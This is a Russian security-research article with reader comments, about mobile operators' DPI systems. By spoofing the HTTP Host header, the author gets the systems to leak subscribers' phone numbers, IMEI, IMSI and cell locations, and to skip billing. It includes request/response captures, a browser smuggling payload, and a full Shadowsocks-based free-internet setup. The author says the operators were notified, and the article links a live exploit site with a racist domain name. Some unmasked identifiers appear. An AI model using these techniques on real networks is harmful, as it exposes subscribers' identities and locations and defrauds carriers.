Системы глубокого анализа трафика (Deep Packet Inspection, DPI) — программно-аппаратные комплексы для классификации проходящего интернет-трафика по типу данных (веб-страница, документ, аудио, видео), протоколу (HTTP, BitTorrent, VoIP/SIP) и конкретным программам (Skype, WhatsApp), зачастую обладающие дополнительной функциональностью. Системы DPI распространены и используются по всему миру продвайдерами проводного и беспроводного доступа.

Мобильные операторы используют системы глубокого анализа трафика, прежде всего, для приоритизации разного контента в интернете (QoS), чтобы можно было одновременно скачивать большой файл и смотреть видео на YouTube, и чтобы один пользователь сотовой сети, активно использующий интернет, не создавал проблем другим пользователям. Операторы используют DPI примерно с начала двухтысячных, с приходом UMTS (3G), чтобы более-менее честно разделять беспроводной канал ограниченной пропускной способности.

Мобильные операторы используют и другие возможности DPI, например, ускорение TCP и HTTP-трафика (TCP PEP, Performance-enhancing Proxy), для ускорения интернета в мобильных сетях и идентификации пользователей веб-сайтами. Если попытаться зайти в личный кабинет оператора с телефона, на многих операторах он откроется сразу, без необходимости ввода логина и пароля. Или, что можно было встретить лет 5 назад, простой заход на подозрительный веб-сайт или клик по рекламному баннеру из Android-игры оборачивался автоматической подпиской на платную услугу, о чем можно было узнать из СМС-сообщения.

Как это работает


Система глубокого анализа трафика настроена так, что добавляет служебные HTTP-заголовки при выполнении HTTP-запроса на сайты (хосты) из списка, определяемого оператором. В заголовках может содержаться внутренний IP-адрес абонента, номер телефона (MSISDN), IMEI и IMSI-идентификаторы, идентификатор базовой станции (вышки), к которой подключен абонент (ECI/TAC).

Нам потребуется установить на сервер в интернете простой HTTP-сервер, который будет принимать запрос, показывать его на экране, и отправлять HTTP-ответ. Что-то вроде этого:

#!/usr/bin/env python3
import socketserver

class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        while True:
            r = self.request.recv(8192)
            if b"\r\n\r\n" in r or b"\n\n" in r:
                break
            if not r:
                return
        print("-----\r\n" + r.decode() + "-----")
        self.request.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\n")
        self.request.sendall(b"OK")
        return

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 80
    socketserver.ForkingTCPServer.allow_reuse_address = True
    server = socketserver.ForkingTCPServer((HOST, PORT), MyTCPHandler)
    server.allow_reuse_address = True
    server.serve_forever()

Отправим HTTP-запрос, используя SIM-карту Мегафон:

$ curl myserver.com
OK

На сервер пришло:

GET / HTTP/1.1
Host: myserver.com
User-Agent: curl/7.51.0
Accept: */*

Ничего необычного. Изменим заголовок Host на какой-нибудь внутренний домен оператора, например, на основной сайт megafon.ru:

$ curl myserver.com -H "Host: megafon.ru"

На сервере:

GET / HTTP/1.1
Host: megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-Real-IP: 100.114.20.123
X-NOKIA-MSISDN: 79319350195

На сервер пришли не только HTTP-заголовки, отправленные curl, но и дополнительные заголовки X-Real-IP и X-NOKIA-MSISDN, содержащие внутренний IP-адрес (за Carrier-grade NAT) и номер телефона!

Почему так получилось? По всей видимости, при составлении списка забыли привязать конкретные домены к конкретным IP-адресам или диапазонам, и проверка открытия сайта из листа выполняется только сравнением HTTP-заголовка Host.

Зачастую, доступ к внутренним сайтам не тарифицируется операторами, что позволяет получить бесплатный интернет простой подменой заголовка Host HTTP-запроса.

Особенные хосты


Мегафон


У Мегафона есть множество внутренних хостов, для которых DPI добавляет различные заголовки:

  • welcome.megafonnw.ru добавляет заголовок X-MegaFon-IMSI с идентификатором SIM-карты (IMSI)
  • wap.megafon.ru добавляет X-Megafon-IMEISV с идентификатором телефона (IMEI)
  • id.megafon.ru раскрывает номера вышек, к которым подключен телефон в данный момент, в заголовках X-Megafon-TAC и X-Megafon-ECI
  • Сайт конкретного региона (например, szfwp.megafon.ru) добавляет заголовок X-3GPP-USER-LOCATION-INFO

Также служебные заголовки добавляются для zg.megafon.ru, m.megafon.ru и igapi.megafon.ru.

Скрытый текст
GET / HTTP/1.1
Host: welcome.megafonnw.ru
User-Agent: curl/7.51.0
Accept: */*
X-MegaFon-IMSI: 250021075120189
X-NOKIA-MSISDN: 79319350195

-----
GET / HTTP/1.1
Host: wap.megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-3GPP-SGSN-MCC-MNC: 25002
X-MegaFon-APN: internet
X-3GPP-SGSN-IP: 83.149.50.45
X-NOKIA-MSISDN: 79319350195
X-MegaFon-IP: 100.114.20.123
X-Megafon-IMEISV: 456745268125902

-----
GET / HTTP/1.1
Host: m.megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-NOKIA-MSISDN: 79319350195
X-3GPP-SGSN-MCC-MNC: 25002

-----
GET / HTTP/1.1
Host: id.megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-NOKIA-MSISDN: 79319350190
X-Megafon-TAC: 1FB1
X-Megafon-ECI: AB82375

Теле2


Существовали специальные хосты, в запросы на которые добавлялись служебные заголовки X-MSISDN и X-FORWARDED-FOR:

  • login.tele2.ru
  • market.tele2.ru
  • oplata.tele2.ru
  • play.tele2.ru
  • wap.tele2.ru
  • block.tele2.ru

Заголовок X-MSISDN содержал телефонный номер клиента Теле2. В заголовке X-FORWARDED-FOR находится внутренний IP-адрес клиента.

Tele2 использует DPI фирмы Ericsson. Его перенастроили в начале декабря, и эта проблема была устранена.

Пример запроса:

Скрытый текст
    Клиент:

GET / HTTP/1.0
Host: block.tele2.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

   Сервер:

GET / HTTP/1.0
X-MSISDN: 79502216411
X-FORWARDED-FOR: 10.26.60.210
Host: block.tele2.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

Beeline


DPI Beeline в HTTP-запросы на любой IP-адрес с заголовком Host: balance.beeline.ru добавляются служебные заголовки X-Nokia-msisdn и IMEI:

…
X-Nokia-msisdn: 79650939376
IMEI: 49727069-021839-00

Пример запроса:

Скрытый текст
   Клиент:

GET / HTTP/1.0
Host: balance.beeline.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

   Сервер:

GET / HTTP/1.0
Host: balance.beeline.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
X-Nokia-msisdn: 7965093xxxx
IMEI: 86875702-xxxxxx-00

Хосты beeline.ru, www.beeline.ru, spb.beeline.ru не обрабатываются DPI, к ним разрешены соединения на основе IP-адреса, а не заголовка Host.

МТС


DPI МТС добавляет служебные заголовки к следующим хостам:
* 111.mts.ru:
X-MSISDN-1hIjUVLgCcdQ: 79110981234
SGSN-MCC-MNC: 25001


* books.mts.ru:
X-MSISDN: 79110981234

* pda.mts.ru:
X-AQIC5wM2LY4SfcyEwLC5hS0e02r4: 79110981234
SGSN-MCC-MNC: 25001
X-SGSN-IP: 193.27.231.49


* h2o.mts.ru, interceptor.mts.ru, internet.mts.ru:
X-MSISDN-B0kOoE2clldi: 79110981234

Особенности обработки пакетов


Прокси-сервер Теле2 добавляет следующие заголовки для HTTP/1.0-запроса пользователя, если они отсутствуют:

Accept-Encoding: gzip, deflate
Accept: */*

И следующий заголовок в ответ сервера, если запрос был совершен по HTTP/1.1:

Transfer-Encoding: chunked

Ответ разбиваться на части (chunked-encoding) на стороне прокси.

Прокси буферизирует или не пропускает некоторые запросы, пока не дождется корректного ответа, и может разбивать большие пакеты на несколько маленьких. Ответ на GET-запрос придет только после того, как сервер начнет пересылку тела ответа. Ответ не дойдет до клиента, если сервер отправил только заголовки, без тела.
Данная особенность не распространяется на POST-запросы.

Если клиент отправил и HTTP-заголовки GET-запроса, и данные в одном пакете, они разобьются на два пакета прокси-сервером:

Скрытый текст
   Клиент:

>>>
GET / HTTP/1.0\r\n
Host: block.tele2.ru\r\n
User-Agent: Firefox/50.0\r\n
Connection: keep-alive\r\n
\r\n
testdata\r\n


   Сервер:

<<<
GET / HTTP/1.0\r\n
X-MSISDN: 7950221xxxx\r\n
X-FORWARDED-FOR: 10.26.xx.xxx\r\n
Host: block.tele2.ru\r\n
User-Agent: Firefox/50.0\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
\r\n

<<<
testdata\r\n

Данная особенность не распространяется на POST-запросы.

DPI Tele2, вероятнее всего, не сохраняет состояние соединений (stateless), и пытается искать HTTP-запрос в каждом новом TCP-сегменте, который отправляет клиент. Кроме того, запрос не обязательно должен начинаться с первого байта сегмента, а может быть разделен переносами строки. Например, следующий запрос является верным с точки зрения DPI:

\r\n
\r\n
\r\n
\r\n
GET / HTTP/1.0\r\n
Host: ya.ru\r\n
\r\n

Эту особенность можно было эксплуатировать через браузер, до тех пор, пока Tele2 не перенастроили DPI, и не ограничили служебные хосты диапазонами IP-адресов. Возможно создать такой POST-запрос типа multipart/form-data (отправка файлов), в теле которого будет заголовок нового HTTP-запроса, который DPI примет за новый запрос в рамках Keep-Alive-сессии и добавит служебные заголовки, и отправить его через браузер.

Пример запроса:

Скрытый текст
   Клиент:

>>>
POST / HTTP/1.1
Host: myserver.com
User-Agent: Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414
Content-Length: 497

-----------------------------436459255605875969489380414
Content-Disposition: form-data; name="filefile"; filename="tele2_post_test"
Content-Type: application/octet-stream

\r\n
…
\r\n
GET / HTTP/1.0\r\n
Host: login.tele2.ru\r\n
User-Agent: Firefox/50.0
\r\n
…
\r\n
---------------------------436459255605875969489380414--


   Сервер:

<<<
POST / HTTP/1.1
Host: myserver.com
User-Agent: Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414
Content-Length: 497

-----------------------------436459255605875969489380414
Content-Disposition: form-data; name="filefile"; filename="tele2_post_test"
Content-Type: application/octet-stream

\r\n
…
\r\n
X-MSISDN: 7952272xxxx\r\n
X-FORWARDED-FOR: 10.23.xxx.xx\r\n
\r\n
…
\r\n
GET / HTTP/1.0\r\n
Host: login.tele2.ru\r\n
User-Agent: Firefox/50.0
\r\n
…
---------------------------436459255605875969489380414--

Удаленный сервер получил номер пользователя. По всей видимости, это является серьезной недоработкой ПО Ericsson, и присуще не только Теле2.

DPI Билайна анализирует заголовки, сохраняет состояние HTTP-потока и замедляет или ограничивает передачу данных, если начинается нетипичная для HTTP процедура отправки, например, если клиент начинает пересылать большие потоки данных в теле GET-запроса (то, что после двойного \r\n, как если бы это был POST-запрос), или если сервер отправляет данных больше, чем указано в заголовке Content-Length. Требуется ответ на HTTP-запрос, иначе DPI не разрешит соединение.

У МТС не работает отправка больших данных в заголовках (видимо, производится проверка на длину заголовка и его значения).

Для МТС, чтобы отслеживание новых HTTP-запросов в пределах keep-alive сессии перестало работать, нужно отправить с сервера заголовки HTTP-ответа и тело HTTP-ответа отдельными пакетами, без указания Content-Length, и с заголовком Content-Type: application/octet-stream: в первом TCP-пакете передаются все заголовки, включая \r\n\r\n, а вторым и последующими пакетами — сами данные.

Скрытый текст
> GET / HTTP/1.0\r\n
Host: pda.mts.ru\r\n
\r\n

< HTTP/1.0 200 OK\r\n
Content-Type: application/octet-stream\r\n
\r\n

< ignore\r\n

Кроме того, в DPI МТС неправильно реализована обработка заголовков HTTP-запроса, и раскрытие номера телефона можно эксплуатировать из браузера. В запрос нужно добавить заголовок X-Host: pda.mts.ru с помощью Javascript, и «разрезать» запрос ровно так, чтобы в одном пакете осталось "X-", а другой начинался с "Host:". Сделать это можно манипуляцией TCP Window Size на стороне сервера.

Обход блокировки интернета


При отрицательном балансе и подключенной опции интернета, которая подразумевает блокировку доступа при исчерпании включенного пакета трафика, операторы перенаправляют все HTTP-запросы на свои собственные страницы-заглушки, расположенные, как правило, на поддоменах основного домена оператора. У МТС, Билайн и Мегафона проверка возможности доступа к сайту осуществляется путем сравнения HTTP-заголовка Host, проверка IP-адреса не выполняется. То же самое было у Теле2, до перенастройки DPI.

HTTP-запросы на любой IP-адрес и порт 80 с заголовком Host, указывающим на служебный домен, не расходуют трафик из пакета и работают даже при отрицательном балансе.
Эмпирическим путем было выяснено, что для установления двустороннего обмена и обхода блокировки достаточно отправить POST-запрос с большим значением Content-Length, а также включить Content-Length в ответ сервера:

   Клиент:

>>>
POST / HTTP/1.0\r\n
Host: %s\r\n
User-Agent: Firefox/50.0\r\n
Connection: keep-alive\r\n
Content-Type: multipart/form-data; boundary=fbfbfb\r\n
Content-Length: 999999999999\r\n
\r\n


   Сервер должен ответить:

>>>
HTTP/1.0 200 OK\r\n
Content-Length: 999999999999\r\n
\r\n

После этого можно передавать произвольные (не-HTTP) данные в обе стороны.

Я сделал патч к прокси-серверу ShadowSocks 2.5.6, который добавляет эти HTTP-заголовки в момент установки соединения:

  1. Применить патч, скомпилировать
  2. Создать файл /etc/shadowsocks.conf на сервере (см. ниже)
  3. Запустить ss-server на сервере: ss-server -c /etc/shadowsocks.conf
  4. Запустить ss-local на устройстве с 3G/LTE-подключением:
    ss-local -s SERVERIP -p 80 -l 1081 -m table -k verysecretpassword -H DOMAIN
    где DOMAIN:
    unblock.mts.ru или bonus.mts.ru для МТС
    corp.megafon.ru для Мегафон
    balance.beeline.ru для Билайн
  5. Настроить ваш браузер и другие программы на Socks5-прокси 127.0.0.1:1081
    Или воспользоваться ss-redir через iptables

/etc/shadowsocks.conf

{
    "server":"0.0.0.0",
    "server_port":80,
    "password":"verysecretpassword",
    "method":"table",
}

Оповещение провайдеров


В начале декабря 2016 года я попытался связаться с технической поддержкой всех четырех операторов, чтобы сообщить о проблеме. Раскрывать подробности бесплатного интернета бесплатно не слишком хотелось, поэтому я ожидал вознаграждения за сообщенную уязвимость. Чтобы все было честно, и чтобы подтвердить, что я не какой-то простофиля, просящий денег, были найдены веб-уязвимости, не связанные с DPI: у Билайна — получение доступа к личному кабинету с сайта злоумышленника, без ввода логина и пароля, у МТС — раскрытие номера телефона, баланса и тарифа с сайта злоумышленника.

МТС и Билайн отказались работать с анонимами, поэтому ровно год назад, 29 декабря 2016 года, была организована личная встреча с представителями службы безопасности МТС и Билайн, где им были переданы все подробности веб-уязвимостей. Было предложено заключить контракт на поиск уязвимостей в DPI, если их это устроит.

В течение 2017 года я неоднократно связывался с МТС и Билайн, чтобы уточнить, как продвигаются дела с закрытием веб-уязвимостей, но не получал ответа. Я писал с разных адресов email, чтобы исключить технические проблемы с доставкой почты, а также личные сообщения в Twitter.

Билайн «прикрыл» уязвимость только в конце октября — сделал так, чтобы ее нельзя было эксплуатировать через веб-браузер, но любая программа, установленная на телефоне, может до сих пор получить доступ в личный кабинет, узнать номер телефона, сменить тариф, подключить опции.

МТС до сих пор не закрыл уязвимость. Любой сайт может узнать ваш номер телефона.

Мегафон ответил на первые два сообщения, но в дальнейшем не получал ответа от них.

Единственный, кто меня порадовал — представители Теле2. Отвечали быстро и четко, предложили денежное вознаграждение.

Вывод


Любая программа, имеющая доступ в интернет на вашем телефоне с SIM Мегафон, может узнать ваше местоположение с точностью до базовой станции, номер телефона, идентификаторы IMEI и IMSI. С SIM МТС она может получить ваш номер телефона, идентификаторы IMEI и IMSI, а Билайн позволит раскрыть только номер телефона.

Веб-сайт злоумышленника, содержащий специальным образом сконструированынный запрос, позволит раскрыть ваш номер телефона на МТС.

Также, не нужно забывать про уязвимости веб-сервисов мобильных операторов, не связанных с DPI: с Билайн любая программа может получить доступ в ваш личный кабинет, узнать оттуда ваш номер телефона, баланс, тариф, подключенные опции, и может управлять ими, а с МТС — узнать ваш номер телефона и баланс.

DPI может представлять опасность. Операторы неохотно идут на контакт и исправляют уязвимости. Если вы пользуетесь МТС, Билайн или Мегафон, пишите жалобы, гнобите их.

Исследуйте и экспериментируйте!

Бонус


Зайдите на сайт loudnigra.xyz с мобильного МТС и ожидайте звонка! МТС исправили веб-уязвимось 31.12.2017. Остальные уязвимости все еще работают.

Бесплатный интернет и все эти заголовки работают еще на украинском Киевстаре, сербском Теленоре, латвийском Теле2.

Комментарии (104)


  1. vconst
    29.12.2017 14:49

    А такой же сайт для других операторов можете сделать? Хочется проверить свои симкм и то, влияет ли глобальный прокси на это.


    1. SergeyNabatov Автор
      29.12.2017 14:55

      На данный момент, из браузера работает способ только с МТС. Два месяца назад еще работало на Билайн и Теле2, но увы.


      1. Dageron
        29.12.2017 17:44

        Правильно ли я понимаю, что путем добавления определенных метаданных в запросы злоумышленник может «эмулировать» корректный запрос «чужой» симки и зайти в личный кабинет жертвы?


        1. SergeyNabatov Автор
          29.12.2017 17:53

          Не нужно ничего эмулировать, просто выполнить запросы к определенным хостам, как это делает старая версия приложения Билайна для Android.


  1. lolipop
    29.12.2017 15:09
    +2

    Наконец-то годная статья на хабре.
    *Побежал в магазин за симками*


  1. vikarti
    29.12.2017 15:26

    loudnigra на Омском МТС пишет undefined (на двух разных симках, с айфона и андроида).
    Баг был в конкретном регионе?


    1. alexxxst
      29.12.2017 15:56

      Питерский МТС, показал номер и регион.


    1. SergeyNabatov Автор
      29.12.2017 17:52

      Видимо, зависит от типа SIM-карты или каких-то настроек на ней.
      Сайт эксплуатирует веб-уязвимость, а не уязвимость DPI. С DPI таких проблем нет, номер телефона всегда приходит.


  1. Andy_U
    29.12.2017 15:34

    А sim-карты YOTA у Вас случайно нет?


    1. jtiq
      29.12.2017 21:44

      У Yota скорее всего как у Мегафона, но я могу ошибаться)


      1. Andy_U
        29.12.2017 21:50

        Я понимаю, но тут хотя бы при заходе в личный кабинет пароль все равно спрашивают. Но у меня аккаунт не «телефонный».


        1. Dageron
          29.12.2017 22:33

          Зато у телефонной Yota есть мобильное приложение, которое и есть «личный кабинет», никаких логинов вовсе изначально не задумывалось.


    1. tyderh
      30.12.2017 12:18

      У йоты есть другой забавный баг, который позволяет пользоваться интернетом с отрицательным балансом.


      Достаточно включить и включить режим "в самолёте". В первый десяток секунд после регистрации в сети интернет будет без ограничений.


      Тоже особенность DPI, я полагаю


      1. SergeyNabatov Автор
        30.12.2017 13:23

        У Билайн и МТС иногда ломается NAT, и пакеты на сервер приходят с внутреннего IP-адреса из приватного диапазона (10.0.0.0/8). Естественно, сервер ответить на такой пакет не может.


  1. 1337
    29.12.2017 15:47

    Так, как я понимаю, денежное вознаграждение вы получили только от TELE2? Остальные компании просто частично закрыли уязвимости и проигнорировали Вас? Если так, то это печально, что такие крупные компании кладут большой болт на безопасность своих пользователей. И даже когда им приносят уязвимости на блюдечке — они на это забивают.


    У меня проблема по приватности в Билайне была года 2 назад. Я купил симку для роутера и раздавал Wi-Fi небольшой группе лиц. Но при этом каждый подключившийся мог зайти на сайт beeline.ru, попасть в ЛК, отключать/подключать услуги, заказывать детализации и так далее — творить с SIM-кой всё что хочешь. Я писал им, мол "скажите как отключить этот автовход, чтобы можно было входить только по логину/паролю". В результате тогда никакой настройки не было, если ты входил с мобильного интернета этой симки — мог автоматически попадать в ЛК. И они это объясняли "Это создано для удобства пользователей". Тогда эта проблема так и не решилась, не знаю как сейчас. Может ввели отключение этого автоматического автовхода.


    1. Dageron
      29.12.2017 17:23

      У Мегафона раньше было то же самое. Сейчас на WiFi такое происходит только если TTL на модеме зафиксирован и в настройках личного кабинета включен автовход (а по умолчанию он конечно включен, «для удобства» же).


    1. SergeyNabatov Автор
      29.12.2017 17:56

      Теле2 предложили мне денежное вознаграждение, но я отказался, и не сообщил им подробности уязвимости (но рассказал, в чем она заключается).


      1. SergeyNabatov Автор
        29.12.2017 18:08

        1337, самое главное забыл сказать, представителям МТС и Билайн, с которыми была встреча, неоднократно звонили по телефону в течение года, а они то в метро ехали, то с ребенком гуляли, то просто трубку не брали, и не перезванивали.


      1. denis_from_oks
        30.12.2017 15:42
        +3

        а почему отказались? Вы согласны на денежное вознаграждение только за раскрытие уязвимости, связанной с бесплатным интернетом?


  1. darkk
    29.12.2017 16:25

    Был схожий проект у Access Now — Am I Being Tracked?. Там ещё есть прикольный список хэдеров, который для некоторых использований может быть полезен.


  1. Redisni
    29.12.2017 16:46
    +1

    Только это не обязательно DPI. Header enrichment существовал и до того, как операторы стали DPI ставить, и зачастую энричмент делается еще до того, как пакет попадает на DPI.


    1. SergeyNabatov Автор
      29.12.2017 17:57

      Он делается на TCP PEP? Или на обычном прокси?


      1. yaprns
        30.12.2017 10:11
        +1

        Очевидно, что обогащение происходит на узле, который обладает информацией для подстановки нужных значений в каждой сессии.
        Как вы считаете, «обычный прокси» такими данными обладает? ;-)

        Инфу по стандарту для телекомов и разным вендорам можно искать по запросу «3gpp header enrichment».


        1. SergeyNabatov Автор
          30.12.2017 14:09
          -1

          Как вы считаете, «обычный прокси» такими данными обладает?
          Вопрос заключался в том, что это за система, которая добавляет заголовки: она ближе к прокси-серверу, или к DPI? Мои тесты показывают, что эта система работает как DPI.


          1. vvpoloskin
            30.12.2017 14:29
            +1

            Вам уже дали наводку, что это за система. Что изменится от того, что вам скажут, что данный функционал включён в PGW/GGSN. Все равно это и не прокси, и не DPI в чистом виде.


          1. yaprns
            30.12.2017 23:45
            +1

            Для простоты, в рассмотренных сценариях, ближе к «прокси-серверу».
            Потому что нет D=«Deep».

            Добавляемые данные могут быть использованы в модуле DPI для облегчения каких-то задач. Но обычно они применяются для работы обычных массовых сервисов, типа «самообслуживания».

            Возможность получения этих данных во внешней сети — безусловно ошибка настройки. Ошибка для абонента неприятная, потому что допускает разные векторы эксплуатации и абонентом не контролируется.

            И вот еще мысль: может стоит еще раз связаться с представителями операторов, не упоминая «DPI» в материалах? Пусть сами маршрутизируют. Может так заявка попадет «по адресу» и ошибку быстрее исправят.


            1. sumanai
              31.12.2017 02:25

              Ошибка для абонента неприятная, потому что допускает разные векторы эксплуатации и абонентом не контролируется.

              По идее, проброс всего через VPN позволит обойти эту уязвимость, как и множество других.


  1. Dageron
    29.12.2017 17:15

    Обход блокировки интернета при отрицательном балансе уже давным-давно обсуждают на 4pda, все операторы кроме Yota подвержены этой «багофиче». Почему не реагируют никак сами операторы — не понятно. Полагаю, потому, что большая часть этих уязвимостей — уязвимости by design.

    И ведь не похоже, что оператором сильно безразличны сотни неучтенных терабайт, выкачиваемых пользователями, достаточно взглянуть на то, как активно позакрывали в течение года все официальные публичные безлимитные тарифы.

    Однако судя по отзывам, некоторые эти же терабайты активно выкачивают при отрицательном балансе, когда доступен только сайт оператора с личным кабинетом. Сам я в методику не вдавался, но по поверхностному изучению темы: нехитрыми манипуляциями путем подмены заголовков и атрибутов в запросах, дополнительно задействовав VPN, удается получить доступ ко «всей» паутине, которую они даже в теме своей назвали «свободной».

    Что же будет, если это решит кто-то использовать в международном роуминге? Вопрос, пожалуй, риторический. Особенно в странах, где у местных то операторов гигабайт может стоит 10 евро и выше.


    1. SergeyNabatov Автор
      29.12.2017 17:59

      Да, я находил эту тему на 4pda, кто-то обнаружил этот же способ, кроме меня, но чуть позже.
      На Yota тоже есть способ получения бесплатного интернета, но не такой простой.

      Что же будет, если это решит кто-то использовать в международном роуминге?
      МТС заблокировал мое устройство по IMEI при такой попытке.


      1. Dageron
        29.12.2017 18:28

        Если не секрет, сколько успели у МТС скачать? Или сразу блок произошел? Не факт, что у других операторов защита сработает так же быстро, если вообще сработает… После прочитанного сегодня, я уже ничему, пожалуй, не удивлюсь.


        1. SergeyNabatov Автор
          29.12.2017 18:44

          Нисколько, сразу заблокировали. Это было чисто из интереса. Я почти не пользовался бесплатным интернетом в течение года, скачал определенно меньше 10 ГБ за все время. Меня больше интересовало исследование, а не то, что с этого можно поиметь, в отличие тех ребят на 4pda.


          1. Dageron
            29.12.2017 18:49

            А позднее этот телефон не проверяли уже в пределах границ РФ? Блок по IMEI «капитальный»?


            1. SergeyNabatov Автор
              29.12.2017 18:55

              Блокировка сохранялась и в РФ.


              1. Dageron
                29.12.2017 19:01
                +1

                Даа, сколько открытий. Незаметно для себя, вы сделали еще одно: вот и черный список IMEI в действии. Раньше о таком в России и слухов то можно сказать не было, теперь же практический пример, что он существует и действует.


                1. romamix
                  29.12.2017 20:28

                  Учитывая, насколько легко можно сменить IMEI на некоторых телефонах, прям целое поле для блокировки телефонов недругов открывается. Учитывая, что можно узнать IMEI абонентов МТС и Мегафон дистанционно…


                  1. sumanai
                    29.12.2017 20:49

                    Для этого придётся прокатится заграницу.


                    1. ivan386
                      29.12.2017 21:05

                      Можно около границы поймать вышку с той стороны. Или телефон с управлением по интернету.


                      1. foxforfree
                        29.12.2017 21:34

                        или привезти микросоту иностраного оператора


                1. SergeyNabatov Автор
                  29.12.2017 21:35

                  Уточню, что блокировка была только у одного оператора, а не у всех.


                1. struvv
                  31.12.2017 14:34

                  Только это уже УК РФ.

                  И учитывая суровую российскую систему правосудия, запросто может в один момент получится что люди меняют IMEI а уже сильно потом начинаются посадки этих людей, которые вопрошают «а что мы такого сделали? Раньше же всё нормально было»


  1. vanxant
    29.12.2017 18:22

    Учитывая дату, думаю, рядовые админы опсосов хотят крепко пожать вам шею)


    1. SergeyNabatov Автор
      29.12.2017 18:48
      +2

      У них есть мой телефон, пусть звонят, я их поздравлю.


  1. SergeyNabatov Автор
    29.12.2017 18:48

    Если кто пропустил обновление, loudnigra.xyz при заходе с МТС позвонит и накричит на вас!


    1. SergeyNabatov Автор
      30.12.2017 00:09

      Нигра отключен на ночь, будет звонить с утра.


  1. Dageron
    29.12.2017 19:36
    +1

    Если честно, ваша история меня подтолкнула к мысли, что дыры не закрываются операторами намеренно. Не хочу показаться конспирологом и мистификатором, но факты складываются в такую картину, что кому-то явно выгодно и удобно, чтобы эти дыры существовали.

    Вы целый год пытались достучаться до операторов, пытаясь оповестить о КРИТИЧЕСКОЙ уязвимости безлимитного доступа при отрицательном балансе (критической — потому, что она наносит прямые убытки). Любой нормальный руководитель тут собрал бы такой аврал, что гайки затянули бы в 24 часа. Но что они сделали? Либо проигнорировали вас, либо тянули резину и убрали баги наполовину, для виду, припрятали. И вот почему я думаю, что на деле они лишь изменили схему бага? Такое не получится «заткнуть тряпками».

    Далее, вы пишете, что при попытке использовать указанный глюк в международном роуминге произошел перманентный блок телефона по IMEI. Следовательно, о глюке прекрасно им известно, и «когда надо» — за него нещадно блокируют. А международный роуминг — это уже очень серьезно, поскольку тут оператор может понести миллиардные убытки.

    И есть еще одна причина, почему у меня складывается такое мнение.

    У Мегафона долгое время гулял по интернету т.н. «антикризисный» безлимитный тариф за 230 рублей в месяц, продавцы которого позднее сознались, что тариф целиком работал на глюке биллинга. Дальнейшие копания по форумам привели к информации, что были аналогичные тарифы за 250, 200 и даже 100 рублей в месяц. Как правило, ими приторговывали за несколько тысяч рублей «барыги», которые «подключают к непубиличным и архивным тарифам». То есть, фактически, раздавали безлимит за символическую абонентскую плату, почти забесплатно, учитывая сколько реально в наше время стоит мобильный анлим (для юрлиц 1000р+ в месяц, плюс Yota для модемов физлиц 1000р, и то и там и там будет срезана скорость после достижения определенного объема выкачанного).

    Так вот кое-что из этих глюк-тарифов функционирует и сейчас.

    Копая дальше по форумам, мне попадалась информация, откуда все пошло: сами сотрудники Мегафона эти дырявые тарифы активно используют, просто когда о них узнает слишком много людей и «барыги-перекупы» совсем распоясываются, старые отключают и чуть-чуть меняют схему глюка. Так, этот пресловутый тариф за «230 рублей» уже раза три массово у всех купивших людей отключался, и три раза вновь появлялся на интернет-барахолках, правда последний раз всего несколько месяцев проработал, из-за чего форумные торговцы им уже не приторговывают. Зато другими тарифами — пожалуйста. И так бесконечная схема.

    Я уже молчу о том, как операторы относятся к персональным данным, раздать всем желающим номер телефона — это пожалуй меньшее, что происходит в реальности. Ведь куча форумов забиты услугами «сделаю пробив данных владельца», «сделаю детализацию звонков и смс», «сделаю пробив местоположений по базовым станциям». Не исключаю, что этим не только нечистые на руку сотрудники занимаются, но и те, кто активно эксплуатирует уязвимости по типу таких, которые описаны в данной теме.

    Спасибо вам, SergeyNabatov, что осветили еще одну сторону того, что реально происходит у наших операторов связи. Увы, проблема массовая, и тут уже не прокатит «какой беспредел, уйду с %оператора1% сегодня же, подключусь к %оператору2%».


    1. SergeyNabatov Автор
      29.12.2017 22:10

      Я говорил представителям МТС и Билайна про «обход биллинга», но конкретно про бесплатный интернет не говорил. Как по мне, раскрытие данных куда более должно волновать операторов, нежели бесплатный интернет.
      Я также записывал видео с демонстрацией, но и на это не получил ответа.


      1. almanarh
        30.12.2017 10:34
        +1

        Вы правы, оператор должен переживать за личные данные абонентов, а вот информацию о трафике не учтенном, они смогут вынуть из CDR файлов (все хранят их по разному долго, примерно до 3-х месяцев, если захотят).
        Удивлен что операторы не прискакали и не попытались получить информацию о такой дыре, у них есть fraud отделы, которые должны кричать «аларма, аларма». Наверное пытаются наехать на вендоров, что за фигня.


    1. TimsTims
      30.12.2017 00:58

      Любой нормальный руководитель тут собрал бы такой аврал, что гайки затянули бы в 24 часа. Но что они сделали?
      На самом деле не так. Крупные организации работают немного по-другому: т.к. организация большая, то у них список дел расписан на каждого человека на годы вперед(условно). Отвлекаться на докручивание гаек — стоит денег (рабочего времени, как ни странно).

      Собственно, скорее всего был такой диалог:
      -Внимание, подчинённые! Один очень прошаренный чел нашел хитрую лазейку. Давайте посчитаем, сколько примерно людей этой дырой пользуются?
      -Сэр, мы всё подсчитали — пользуется менее 0.01% абонентов, и потери около 1 млн.руб в месяц, и то говорить однозначно сложно, т.к. у нас подсчёт трафика идёт на поддомены. Мы смотрели лишь подозрительно большие объёмы, поэтому судить точно не можем.
